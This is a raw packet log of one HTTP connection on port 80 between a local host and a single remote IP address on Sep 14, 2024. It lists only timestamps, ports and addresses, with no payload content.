Sep 14, 2024 18:44:14.191462040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191485882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191519022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191524982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191550970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191585064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191593885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191626072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191674948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191842079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191874981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191907883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191920996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.191940069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191973925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.191978931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192008018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192040920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192061901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192074060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192107916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192116976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192142963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192210913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192246914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192281961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192313910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192327976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192348957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192408085 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192548037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192580938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192614079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192625046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192647934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192681074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192694902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192714930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192748070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192758083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.192780018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192814112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.192822933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193209887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193259001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193262100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193340063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193373919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193387032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193407059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193442106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193459988 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193475008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193506956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193516970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193540096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193572044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193588018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193604946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193638086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193648100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193671942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193701982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193715096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193734884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193767071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193777084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193800926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193835020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193839073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193886995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193922043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193928957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.193954945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.193988085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194003105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.194020033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194052935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194063902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.194086075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194119930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194127083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.194154024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194185972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194197893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.194221020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194252968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194264889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.194286108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194320917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:14.194329977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:14.234395027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.433590889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.438517094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.539038897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.539706945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.545367956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649604082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649642944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649676085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649734020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649766922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649775028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.649801016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649836063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.649873972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.649996042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650028944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650057077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650063038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650095940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650113106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650130033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650165081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650178909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650253057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650285959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650301933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650336981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650368929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650386095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650401115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650438070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650449038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650607109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650639057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650660992 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650671005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650705099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650721073 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650738001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650768995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650787115 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650803089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650835991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650859118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.650868893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650901079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.650918007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651139021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651170969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651190042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651206017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651240110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651256084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651271105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651303053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651319027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651335001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651366949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651390076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651420116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651453972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651474953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651489019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651521921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651541948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651556015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651591063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651608944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651626110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651659012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651676893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.651956081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.651988029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652007103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652019978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652053118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652069092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652085066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652117014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652129889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652151108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652184010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652218103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652231932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652251005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652282000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652282953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652312040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652334929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652343988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652376890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652394056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652410984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652442932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652458906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652473927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652503967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652520895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652537107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652585983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.652915955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652949095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652981043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.652998924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653012991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653044939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653058052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653076887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653110027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653124094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653141975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653175116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653191090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653209925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653242111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653254986 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653275013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653307915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653327942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653340101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653371096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653384924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653403997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653435946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653449059 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653469086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653501034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653513908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653733015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653767109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653785944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653799057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653844118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653851032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653884888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653918028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653929949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.653950930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.653983116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654000044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654016018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654048920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654061079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654081106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654113054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654126883 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654140949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654179096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654187918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654212952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654244900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654261112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654278040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654311895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654324055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654345036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654390097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654742002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654774904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654808044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654840946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654843092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654874086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654886961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654907942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654938936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.654951096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.654973030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655005932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655025005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.655039072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655071020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655085087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.655103922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655134916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655152082 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.655169010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655199051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655213118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.655232906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655266047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.655281067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.657146931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.738624096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.738711119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.738744974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.738779068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.738795996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.738852024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.743541956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.743593931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.743628025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.743652105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.743660927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.743716002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.748344898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.748399973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.748433113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.748457909 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.748466969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.748500109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.748528004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.753149986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.753189087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.753210068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.753240108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.753273010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.753295898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.753305912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.753355026 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.757980108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.758030891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.758064032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.758088112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.758096933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.758127928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.758162022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.762712002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.762746096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.762772083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.762795925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.762830019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.762849092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.767559052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.767611027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.767633915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.767642975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.767677069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.767710924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.767719984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.767764091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.772418976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.772452116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.772501945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.772521973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.772535086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.772584915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:15.777178049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.777210951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.777259111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:15.777291059 CEST	80	49722	188.114.97.3	192.168.2.6
